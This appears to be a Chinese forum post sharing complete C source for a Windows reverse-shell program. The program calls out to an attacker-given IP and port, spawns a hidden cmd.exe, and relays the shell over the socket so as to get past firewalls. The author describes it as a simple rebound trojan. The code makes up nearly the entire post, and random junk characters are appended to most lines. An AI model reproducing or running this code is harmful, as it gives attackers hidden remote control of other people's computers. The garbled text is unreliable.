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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v^ V itLC  
WEi2=3dV  
/* ============================== @2 fg~2M1  
Rebound port in Windows NT E09 :E  
By wind,2006/7 v z '&%(  
===============================*/ 0.k7oB;f(@  
#include W|63Ir67  
#include 7E~;xn;  
fS78>*K  
#pragma comment(lib,"wsock32.lib") Z}Ft:7   
W v+?TEP  
void OutputShell(); )|=j`jCC  
SOCKET sClient; ]-/VHh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?2Py_gkf  
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void main(int argc,char **argv) P me^l%M  
{ |4 0`B% Z  
WSADATA stWsaData; ,wAF:7'  
int nRet; :^B1~p(?sK  
SOCKADDR_IN stSaiClient,stSaiServer; O[JL+g4  
6G""I]uT  
if(argc != 3) o]I\6,T/|  
{ %/#NK1&M  
printf("Useage:\n\rRebound DestIP DestPort\n"); {[?(9u7R  
return; 1NA.nw.  
} ^sLdAC  
N U`  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6gu!bu`~  
CdjI`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lchPpm9  
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stSaiClient.sin_family = AF_INET; A*547=M/(j  
stSaiClient.sin_port = htons(0); 4)urU7[ &)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ={@6{-tl  
D7Q$R:6|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [j/9neaye  
{ ]K,Tnyp  
printf("Bind Socket Failed!\n"); K F!Yf\  
return; Od,qbU4O  
} aQ\$A`?  
57  
stSaiServer.sin_family = AF_INET; [ ~c|mOk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a'yK~;+_9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SbrecZ  
)W _v:?A9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3K0A)W/YEs  
{ OU $#5  
printf("Connect Error!"); ud@%5d  
return; <&g,Nc'5C  
} PmEsN&YP]  
OutputShell(); 3kp+<$  
} 6) [H?Q  
XrGglBIV  
void OutputShell() V#gK$uv  
{ gu.}M:u  
char szBuff[1024]; v\%HPMlh  
SECURITY_ATTRIBUTES stSecurityAttributes; @>2i+)=E5  
OSVERSIONINFO stOsversionInfo; hH8oyIC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  < !C)x  
STARTUPINFO stStartupInfo; ['tY4$L(  
char *szShell; 4*cEag   
PROCESS_INFORMATION stProcessInformation; R=2FNP  
unsigned long lBytesRead; !@*7e:l  
`% "\@<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #r~# I}U  
YWO)HsjP  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '/p/8V.O.  
stSecurityAttributes.lpSecurityDescriptor = 0; .:%0E`E  
stSecurityAttributes.bInheritHandle = TRUE; Zaf:fsj>  
jZkcBIK2  
a P@N)"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [uN? ~lp\%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =Toy Zm\  
>7T'OC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h_3E)jc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fW1CFRHH  
stStartupInfo.wShowWindow = SW_HIDE; ! Y~FLA_  
stStartupInfo.hStdInput = hReadPipe; K)|G0n*qS  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U@)eTHv}6  
,77d(bR<  
GetVersionEx(&stOsversionInfo); CXx*_@}MU  
A>;bHf@  
switch(stOsversionInfo.dwPlatformId) :g=qz~2Xk  
{ 6@F9G 4<Z  
case 1: )e=D(qd  
szShell = "command.com"; VSI9U3t3w  
break; Ma']?Rb`  
default: $$;M^WV^?.  
szShell = "cmd.exe"; vDhh>x(  
break; +YKi,  
} }t=!(GOb}  
}9#r0Vja  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pis`$_kmwV  
1N#| }ad  
send(sClient,szMsg,77,0); }Gm>`cw-  
while(1) S8wLmd>  
{ IT7wT+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J~ zUp(>K  
if(lBytesRead) */^q{PsN  
{ c&?m>2^6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /}fHt^2H  
send(sClient,szBuff,lBytesRead,0); {{D)YldtA  
} *-=(Q`3  
else mt+Oi70  
{ 7yH"l9Z  
lBytesRead=recv(sClient,szBuff,1024,0); }1c|gQ  
if(lBytesRead<=0) break; PI:4m%[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e L^ |v  
} )D5"ap]fX  
} $m{:C;UH  
 v zs)[AD  
return; BB!THj69a6  
}
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